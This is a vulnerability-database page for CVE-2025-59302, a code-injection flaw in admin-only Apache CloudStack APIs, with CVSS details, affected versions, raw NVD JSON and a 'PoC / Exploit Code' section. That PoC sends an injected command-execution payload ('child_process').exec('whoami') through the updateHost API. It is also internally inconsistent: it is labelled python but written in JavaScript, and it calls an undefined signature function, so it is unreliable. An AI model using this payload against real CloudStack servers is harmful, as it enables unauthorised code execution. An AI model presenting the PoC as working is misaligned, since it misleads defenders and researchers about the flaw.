Security Vulnerability Report
中文
CVE-2025-59302 CVSS 4.7 MEDIUM

CVE-2025-59302

Published: 2025-11-27 12:15:47
Last Modified: 2025-12-02 14:36:03

Description

In Apache CloudStack improper control of generation of code ('Code Injection') vulnerability is found in the following APIs which are accessible only to admins. * quotaTariffCreate * quotaTariffUpdate * createSecondaryStorageSelector * updateSecondaryStorageSelector * updateHost * updateStorage This issue affects Apache CloudStack: from 4.18.0 before 4.20.2, from 4.21.0 before 4.22.0. Users are recommended to upgrade to versions 4.20.2 or 4.22.0, which contain the fix. The fix introduces a new global configuration flag, js.interpretation.enabled, allowing administrators to control the interpretation of JavaScript expressions in these APIs, thereby mitigating the code injection risk.

CVSS Details

CVSS Score
4.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:apache:cloudstack:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:apache:cloudstack:4.21.0.0:*:*:*:*:*:*:* - VULNERABLE
Apache CloudStack >= 4.18.0 且 < 4.20.2
Apache CloudStack >= 4.21.0 且 < 4.22.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-59302 PoC - Apache CloudStack Code Injection // Requires admin privileges to exploit const axios = require('axios'); const TARGET_URL = 'http://target-cloudstack.com:8080/client/api'; const API_KEY = 'your_admin_api_key'; const SECRET_KEY = 'your_admin_secret_key'; // Malicious payload - JavaScript code injection const maliciousPayload = { request: 'updateHost', command: 'updateHost', id: 'host-uuid-here', hosttags: 'test; require("child_process").exec("whoami")' }; // Example with quotaTariffCreate const quotaTariffPayload = { request: 'quotaTariffCreate', command: 'quotaTariffCreate', tariff: { zoneId: 'zone-uuid', value: 'process.env.NODE_ENV' } }; async function exploit() { try { console.log('[+] Sending malicious request to updateHost API...'); const response = await axios.post(TARGET_URL, maliciousPayload, { params: { apiKey: API_KEY, signature: generateSignature(maliciousPayload, SECRET_KEY) } }); console.log('[+] Response:', response.data); } catch (error) { console.error('[-] Error:', error.message); } } // Note: This PoC requires valid admin credentials and proper signature generation // Refer to CloudStack API documentation for signature generation method

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59302", "sourceIdentifier": "[email protected]", "published": "2025-11-27T12:15:47.410", "lastModified": "2025-12-02T14:36:02.567", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Apache CloudStack improper control of generation of code ('Code Injection') vulnerability is found in the following APIs which are accessible only to admins.\n\n * quotaTariffCreate\n * quotaTariffUpdate\n * createSecondaryStorageSelector\n * updateSecondaryStorageSelector\n * updateHost\n * updateStorage\n\n\nThis issue affects Apache CloudStack: from 4.18.0 before 4.20.2, from 4.21.0 before 4.22.0. Users are recommended to upgrade to versions 4.20.2 or 4.22.0, which contain the fix.\n\nThe fix introduces a new global configuration flag, js.interpretation.enabled, allowing administrators to control the interpretation of JavaScript expressions in these APIs, thereby mitigating the code injection risk."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:cloudstack:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.18.0.0", "versionEndExcluding": "4.20.2.0", "matchCriteriaId": "00CA5BCF-572F-47AE-B9A6-F4A91BB3B484"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:cloudstack:4.21.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "8D19C2F1-2730-4EAE-A7CF-950F185B76FC"}]}]}], "references": [{"url": "https://lists.apache.org/thread/kwwsg2j85f1b75o0ht5zbr34d7h66788", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2025/11/27/2", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}